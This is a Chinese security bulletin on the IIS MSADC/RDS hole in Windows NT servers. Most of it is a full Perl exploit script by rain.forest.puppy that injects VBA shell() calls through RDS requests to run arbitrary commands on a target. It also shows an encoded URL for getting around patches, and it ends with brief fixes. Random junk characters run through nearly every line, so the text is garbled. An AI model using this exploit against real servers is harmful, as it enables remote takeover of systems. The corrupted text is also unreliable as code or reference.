IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]])i"oew 1 dKLNE 涉及程序：
#}A!Bk Microsoft NT server
{~=[d`t }b0qrr 描述：
%fxGdzu7. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
hup]Jk Y@pa+~[{h3 详细：
7#<|``]zNf 如果你没有时间读详细内容的话，就删除:
$x 2t0@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
EKDv3aFQZ# 有关的安全问题就没有了。
6b)1B\p myXp]=Sb? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Maq{H` 9t)t-t#P; 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@4&sL] (q 关于利用ODBC远程漏洞的描述，请参看:
.Oim7JQ8 {UwJ g http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s~TYzfA AU
>d1S. 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
gsAcn http://www.microsoft.com/security/bulletins/MS99-025faq.asp U"ga 0X5 3"<{YEj8U 这里不再论述。
O [8Lp? LtNG<n)_BH 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"3!4 hiU9 mT~:k}u~W /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\;g{qM 8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:qnRiK] {wd.aUB VNMhtwmK, #将下面这段保存为txt文件，然后: "perl -x 文件名"
jCy2bE D@f%&|IZ #!perl
Z &PwN r/ #
578Dl(I#) # MSADC/RDS 'usage' (aka exploit) script
rb9 x|| #
txliZ|.O # by rain.forest.puppy
7IFUsli] #
#%x4^A9 q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!ZB|GLpo6 # beta test and find errors!
fPspJug C~:aol i; use Socket; use Getopt::Std;
{)`5*sd getopts("e:vd:h:XR", \%args);
&hZcj dB <Q%o}m4Kt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
lM?P8# 3 Vg2s~ce{ if (!defined $args{h} && !defined $args{R}) {
? Bk"3{hl print qq~
/TpM#hkq/2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
gBrIqM i5 -h <host> = host you want to scan (ip or domain)
ZL-@2ZU{1 -d <seconds> = delay between calls, default 1 second
dp+wwNe -X = dump Index Server path table, if available
lM l XK4- -v = verbose
w \85D|u -e = external dictionary file for step 5
cD LS) :JPI#zZun Or a -R will resume a command session
rs! J<CRq N=|w]t0*yc ~; exit;}
siOeR@> X agt7b@-5= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8;+t. { if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R{4O*i8# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]1g t|M^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%*LdacjZ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:y]l`Mo - if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_{-GR - T 0Y=g n if (!defined $args{R}){ $ret = &has_msadc;
6 )Oe]{- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ZLBfQ+pM) \z< '6,b print "Please type the NT commandline you want to run (cmd /c assumed):\n"
qxE~Moht . "cmd /c ";
@8Co5`CVl $in=<STDIN>; chomp $in;
>)!"XFbb $command="cmd /c " . $in ;
2)mKcUL- haB$W 4x if (defined $args{R}) {&load; exit;}
|QX W$ B < 6*Ktc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
KJSN)yn\ &try_btcustmr;
As78yfK pcL02W|J print "\nStep 2: Trying to make our own DSN...";
G!%1<SLi. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
vsLn@k3 -O -_F6p'D print "\nStep 3: Trying known DSNs...";
B YwG\2?~ &known_dsn;
p2tB F98 V18w print "\nStep 4: Trying known .mdbs...";
/&dC? bY &known_mdb;
<udp:s3#T 5>/,25
99 if (defined $args{e}){
!sfUrUu print "\nStep 5: Trying dictionary of DSN names...";
b8T'DY;~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t?{E_70W kv ryDM print "Sorry Charley...maybe next time?\n";
%!x\ |@C exit;
U9kt7#@FDK fz,8 < ##############################################################################
(\M&/X~q H.Pts>3r( sub sendraw { # ripped and modded from whisker
KXYq|w sleep($delay); # it's a DoS on the server! At least on mine...
\@gs8K# my ($pstr)=@_;
!)
LMn socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5a -8/.}cP die("Socket problems\n");
t3G%}d? if(connect(S,pack "SnA4x8",2,80,$target)){
i 7*4h YY select(S); $|=1;
^D/*Hp _ print $pstr; my @in=<S>;
5GC{)#4 select(STDOUT); close(S);
+5 @8' t return @in;
<A+Yo3|7 } else { die("Can't connect...\n"); }}
0Ac]&N d` ]vhh* ##############################################################################
c_&iGQ R (4 :_ xc sub make_header { # make the HTTP request
{Pu\KRU my $msadc=<<EOT
|PTL!>ym2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/q(+r5k \ User-Agent: ACTIVEDATA
Ge|caiH1I Host: $ip
Z#MPlw0B Content-Length: $clen
Hd6Qy {,*- Connection: Keep-Alive
] J m9D= =suj3.
ADCClientVersion:01.06
8v c4 J5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5U%u S^%DP :6B k< --!ADM!ROX!YOUR!WORLD!
PK!=3fK4\F Content-Type: application/x-varg
^yjc"r%B Content-Length: $reqlen
&! Y^DR/ ~99Ta]U EOT
SIzW3y[ ; $msadc=~s/\n/\r\n/g;
>:h
8T] F return $msadc;}
F5{~2~Cw( e2 Ba@e- ##############################################################################
,,b_x@y* T? _$ sub make_req { # make the RDS request
2"JIlS;J}7 my ($switch, $p1, $p2)=@_;
lvc X}{>\ my $req=""; my $t1, $t2, $query, $dsn;
nA5v+d-<T (9@6M 8A if ($switch==1){ # this is the btcustmr.mdb query
E #8 `X $query="Select * from Customers where City=" . make_shell();
\S1WF ?<, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ogDyrY}]
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
OZ$u&>916 xOPSw|!w elsif ($switch==2){ # this is general make table query
A0o6-M]'0 $query="create table AZZ (B int, C varchar(10))";
y}nM'$p $dsn="$p1";}
S\s1}`pNm ]p@7[8} elsif ($switch==3){ # this is general exploit table query
o+q4Vg9& $query="select * from AZZ where C=" . make_shell();
//f[%j*> $dsn="$p1";}
%GjF;dJ N] } L*o& elsif ($switch==4){ # attempt to hork file info from index server
h`?0=:Tru $query="select path from scope()";
x -(?^g $dsn="Provider=MSIDXS;";}
,$7LMTVDrE e2k!5O S elsif ($switch==5){ # bad query
_sJp"4? $query="select";
% UY=VE\F $dsn="$p1";}
5|&Sg }_ J1P82=$, $t1= make_unicode($query);
9akCvY#Q $t2= make_unicode($dsn);
); 7csh% $req = "\x02\x00\x03\x00";
)xlNj$(x5n $req.= "\x08\x00" . pack ("S1", length($t1));
c"77<Db$ $req.= "\x00\x00" . $t1 ;
a{el1_DIGK $req.= "\x08\x00" . pack ("S1", length($t2));
+ #,t $req.= "\x00\x00" . $t2 ;
auaFP-$`f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZXe [>H return $req;}
b]Oc6zR,,~ 2mVH*\D ##############################################################################
<`~] P$ " EQ}xj sub make_shell { # this makes the shell() statement
Vr`UF0_3q return "'|shell(\"$command\")|'";}
z35n3q y @h^ ##############################################################################
3zMmpeq 6D _4o&N sub make_unicode { # quick little function to convert to unicode
<o^ mQq& my ($in)=@_; my $out;
OA&N WAm4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rXo,\zI;u^ return $out;}
`Nc3I\tCM kVe}_[{m ##############################################################################
l4v)tV~ W>/O9?D sub rdo_success { # checks for RDO return success (this is kludge)
yV=hi?f-[V my (@in) = @_; my $base=content_start(@in);
^~eT# Y8 if($in[$base]=~/multipart\/mixed/){
;(TBg-LEK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
W^P%k:anK return 0;}
<@ (H QuL# kSoAn J| ##############################################################################
N
y7VIh| %t:1)]2 sub make_dsn { # this makes a DSN for us
pjrVPi5&t my @drives=("c","d","e","f");
x.>z2. print "\nMaking DSN: ";
Kx ?}%@b foreach $drive (@drives) {
] l}8 print "$drive: ";
L)HuQVc g my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L'z;*N3D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6EP5n . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qA
Jgz7=c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
E!C~*l]wJx return 0 if $2 eq "404"; # not found/doesn't exist
f.Q ?-M if($2 eq "200") {
0'c<EJ foreach $line (@results) {
ukzXQe;l1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_av%`bb&z9 } return 0;}
x]Q+M2g? }us%G&A2u ##############################################################################
_dIv{ L! %~ZO Q%c1 sub verify_exists {
{(7C=)8): my ($page)=@_;
wa@X^]D8 my @results=sendraw("GET $page HTTP/1.0\n\n");
`61 VP-r return $results[0];}
M@
! {m (*^_ wq-; ##############################################################################
I]jVnQ>& -QI1>7sl sub try_btcustmr {
nke[}Hqf my @drives=("c","d","e","f");
}eULc gRG my @dirs=("winnt","winnt35","winnt351","win","windows");
T[~ak"M xAon:58m{ foreach $dir (@dirs) {
*`=V"nXw$| print "$dir -> "; # fun status so you can see progress
lf[ ( foreach $drive (@drives) {
NrhU70y print "$drive: "; # ditto
#0hX)7(j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w!8h4U.
; $reqlenlen=length( "$reqlen" );
\7jcZ~FBX% $clen= 206 + $reqlenlen + $reqlen;
X];a(7+2 &&Vz= 6N my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N}pE{~Y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
By:A9 s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8&3+ =<U CIYTs ,u# ##############################################################################
kplyZ +8mfq\ Y1 sub odbc_error {
|!fl R? OU my (@in)=@_; my $base;
.lOEQLt my $base = content_start(@in);
"otP^X. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
zA\DI]:+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%(,JBa: G $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z\4l+.R` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E.}T.St return $in[$base+4].$in[$base+5].$in[$base+6];}
6 *tI~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\6 2|w HX print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
OI::0KOv $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"e@JMS $NT{ssh ##############################################################################
NcB^qv uRxo,.}c sub verbose {
,.x1+9X my ($in)=@_;
:
-te return if !$verbose;
CP["N(fF print STDOUT "\n$in\n";}
bUU_NqUf*3 xud =(HL l ##############################################################################
f.,S-1D]h s)8g4Yc* sub save {
2 {|
U my ($p1, $p2, $p3, $p4)=@_;
6]CY[qEaR$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+*lSB%`aS print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
u=p([
5] close OUT;}
*^ }(LoPZ xBl }=M?Qu ##############################################################################
m7~kRY514 ]@C&Q,~q sub load {
v>;6pcp[F my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$:{u F# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
J XbG|L @p=<IN>; close(IN);
qIuY2b`6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Kw"7M~ $target= inet_aton($ip) || die("inet_aton problems");
o3qBRT0[R print "Resuming to $ip ...";
M,3sK!`> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
vqJiMa j@Z if($p[1]==1) {
6- s/\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g .iiT/b $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
D-69/3 PvP my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[
!].G=8 if (rdo_success(@results)){print "Success!\n";}
6rq:jvl x$ else { print "failed\n"; verbose(odbc_error(@results));}}
#L` @[" elsif ($p[1]==3){
A) /_: if(run_query("$p[3]")){
BJB'o print "Success!\n";} else { print "failed\n"; }}
? R#-gvX% elsif ($p[1]==4){
T%VC$u4F if(run_query($drvst . "$p[3]")){
C8e{9CF print "Success!\n"; } else { print "failed\n"; }}
qI5_@[S* exit;}
3tA6r 8%U+y0j6b ##############################################################################
PL%U FI Io{ru sub create_table {
p*8=($j4 my ($in)=@_;
?2E@)7 $reqlen=length( make_req(2,$in,"") ) - 28;
X SpX6 fq $reqlenlen=length( "$reqlen" );
d+\o>x|Y!Y $clen= 206 + $reqlenlen + $reqlen;
ApG_Gd. my @results=sendraw(make_header() . make_req(2,$in,""));
Vyf r>pgW1 return 1 if rdo_success(@results);
G ZDyw9 my $temp= odbc_error(@results); verbose($temp);
8I$>e ( return 1 if $temp=~/Table 'AZZ' already exists/;
*/u_RJ return 0;}
_RST[B.u6 zL+jlUkE
##############################################################################
Gh> Rt=Qu% ~Yb5F YE sub known_dsn {
Cz#0Gh >1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
xKv\z1ra my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,KdD owc "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
jL<:N
8 "banner", "banners", "ads", "ADCDemo", "ADCTest");
qm{(.b^ &l/2[>D %4 foreach $dSn (@dsns) {
%}J [ EV print ".";
hV)D,oN3 next if (!is_access("DSN=$dSn"));
}N&}6 U if(create_table("DSN=$dSn")){
SRRqIQz print "$dSn successful\n";
|~Z.l if(run_query("DSN=$dSn")){
)CD4k:bm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(1^AzE%U+Z print "Something's borked. Use verbose next time\n";}}} print "\n";}
@/9#Z4&d0 ; {iX_% ##############################################################################
y
U
=) g h.l^f>, / sub is_access {
[U5[;BNRD my ($in)=@_;
|k\4\a Lj $reqlen=length( make_req(5,$in,"") ) - 28;
HQCxO? $reqlenlen=length( "$reqlen" );
g=XvqD< $clen= 206 + $reqlenlen + $reqlen;
yT.h[yv"w my @results=sendraw(make_header() . make_req(5,$in,""));
^<}9# q/rt my $temp= odbc_error(@results);
;}@.E@s%' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{^a"T'+ return 0;}
FAX|.!US*p sf<S#;aYqn ##############################################################################
M ~z A iVTC"v sub run_query {
07P/A^Mkx my ($in)=@_;
{E@Fk, $reqlen=length( make_req(3,$in,"") ) - 28;
?
%XTD39 $reqlenlen=length( "$reqlen" );
%JF^@\E!| $clen= 206 + $reqlenlen + $reqlen;
p.A_,iE my @results=sendraw(make_header() . make_req(3,$in,""));
`*g(_EZsS return 1 if rdo_success(@results);
,&e0~ my $temp= odbc_error(@results); verbose($temp);
w9< <|ZaU return 0;}
xQ+UZc ;|}N\[fk%] ##############################################################################
K!Te*?b 2Te c#eYe sub known_mdb {
SR!EQ< my @drives=("c","d","e","f","g");
_2xNio& my @dirs=("winnt","winnt35","winnt351","win","windows");
-K eo q my $dir, $drive, $mdb;
Kkcb' aDR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m!Cvd9X= }Go?j#
! # this is sparse, because I don't know of many
1LYz
X;H1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
t(AW2{% } "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
n("Xa#mY[ "\\system32\\certmdb.mdb",
lR5[UKr "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
X6)%2TwO iO 9.SF0:
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6 ?$yBu9l "\\cfusion\\cfapps\\forums\\forums_.mdb",
UTB]svC' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
T$rhz )_q "\\cfusion\\cfapps\\security\\realm_.mdb",
xvw @'| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]9qY(m "\\cfusion\\database\\cfexamples.mdb",
js;p7wi "\\cfusion\\database\\cfsnippets.mdb",
>cU#($X$^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
nW b*u "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@ 6h ,#8# "\\cfusion\\brighttiger\\database\\cleam.mdb",
n s n "\\cfusion\\database\\smpolicy.mdb",
d!0iv'^ t "\\cfusion\\database\cypress.mdb",
8? LsV< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>M~1{ "\\website\\cgi-win\\dbsample.mdb",
)Q= EmZbJz "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[$M=+YRHMW "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K)b@,/ 5 ); #these are just
K</EVt,U~ foreach $drive (@drives) {
#N Q pr foreach $dir (@dirs){
;E:vsVK foreach $mdb (@sysmdbs) {
& n$kVNE print ".";
Iue}AGxu:{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
nilis-Bk_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
I]Ev6>=; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]Q0m]OaT print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~&HP }Q$#f } else { print "Something's borked. Use verbose next time\n"; }}}}}
v z6No%8X 4fauI%kc foreach $drive (@drives) {
}u P`=T!"8 foreach $mdb (@mdbs) {
YYNh|
2 print ".";
bUvVt3cm if(create_table($drv . $drive . $dir . $mdb)){
Z5/*i un print "\n" . $drive . $dir . $mdb . " successful\n";
rebnV &- if(run_query($drv . $drive . $dir . $mdb)){
!]f80z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7[=\b L } else { print "Something's borked. Use verbose next time\n"; }}}}
=z >d GIT1 }
+FomAs1*f jkAWRpOc) ##############################################################################
]#k=VKdV TrCut 2 sub hork_idx {
P* X^)R print "\nAttempting to dump Index Server tables...\n";
^^,cnDlm print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
E ' -lpE $reqlen=length( make_req(4,"","") ) - 28;
3JYhF)G $reqlenlen=length( "$reqlen" );
:1asY:)vNP $clen= 206 + $reqlenlen + $reqlen;
B(|*u my @results=sendraw2(make_header() . make_req(4,"",""));
@ TJx U if (rdo_success(@results)){
tTEw"DL_- my $max=@results; my $c; my %d;
=csh=V@s for($c=19; $c<$max; $c++){
90wGS_P04 $results[$c]=~s/\x00//g;
:j2?v(jT_l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
21k,{FB'? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=/5^/vwgY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
hY5GNYDh $d{"$1$2"}="";}
i~3\jD=< foreach $c (keys %d){ print "$c\n"; }
^4/
} else {print "Index server doesn't seem to be installed.\n"; }}
cN% r\ 1;v,rs M ##############################################################################
@7HHi~1JK F8H4R7
8>; sub dsn_dict {
8 :t!m>( * open(IN, "<$args{e}") || die("Can't open external dictionary\n");
c,CcKy;+ while(<IN>){
<)$&V*\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
jOUM+QO next if (!is_access("DSN=$dSn"));
pO?v$Rjl if(create_table("DSN=$dSn")){
- kF8 ZF print "$dSn successful\n";
h*
72 f/# if(run_query("DSN=$dSn")){
^>Vl@cW0uz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s(Y2]X4
( print "Something's borked. Use verbose next time\n";}}}
`c QAO 1-5 print "\n"; close(IN);}
'Vp zB
s# CCHGd&\Z ##############################################################################
Nl] _Ie6 %1mIngW=g sub sendraw2 { # ripped and modded from whisker
(H^)wDb sleep($delay); # it's a DoS on the server! At least on mine...
a yYl3 my ($pstr)=@_;
aT4I sPA?_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uG7?:) pxv die("Socket problems\n");
vpq"mpf kh if(connect(S,pack "SnA4x8",2,80,$target)){
_- |/$ jZ print "Connected. Getting data";
_u3%16,o open(OUT,">raw.out"); my @in;
Rp+Lu select(S); $|=1; print $pstr;
?;]Xc ~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
_Z>n y& close(OUT); select(STDOUT); close(S); return @in;
2c*w{\X } else { die("Can't connect...\n"); }}
/
Q| Z&-c B?%e-xV- ##############################################################################
15z(hzU?# IayF<y,8 sub content_start { # this will take in the server headers
!'eh@B U; my (@in)=@_; my $c;
s%QCd U ] for ($c=1;$c<500;$c++) {
L35]'Jua if($in[$c] =~/^\x0d\x0a/){
oeYUsnsbi if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2=
Y8$- else { return $c+1; }}}
w=_q<1a return -1;} # it should never get here actually
}y1r
yeW< .[r1Qz 7G ##############################################################################
1l5'N=hL c (b2f-0!4 sub funky {
l(Ya,/4 my (@in)=@_; my $error=odbc_error(@in);
(: P#l&f if($error=~/ADO could not find the specified provider/){
A("\m>g$b print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}<qZXb1 exit;}
CwM 1
_3cE if($error=~/A Handler is required/){
e:l7 w3?O print "\nServer has custom handler filters (they most likely are patched)\n";
<a&w$ Zc/ exit;}
C2CR#b=)i if($error=~/specified Handler has denied Access/){
{[4.<|26 print "\nServer has custom handler filters (they most likely are patched)\n";
Up1 n0 exit;}}
llN / cOf .z)kf6 ##############################################################################
\kZ@2.pN $."D OZQ3U sub has_msadc {
pocXQEg$] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XU<XK9EA my $base=content_start(@results);
2:RFPK return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
H: nO\] return 0;}
ce3 ``W/H3 rf^ u&f ########################
u9{SG^
s)jNP\- `PZ\3SC'i 解决方案：
*JRM(V+IEv 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
jR9;<qT/ 2、移除web 目录: /msadc
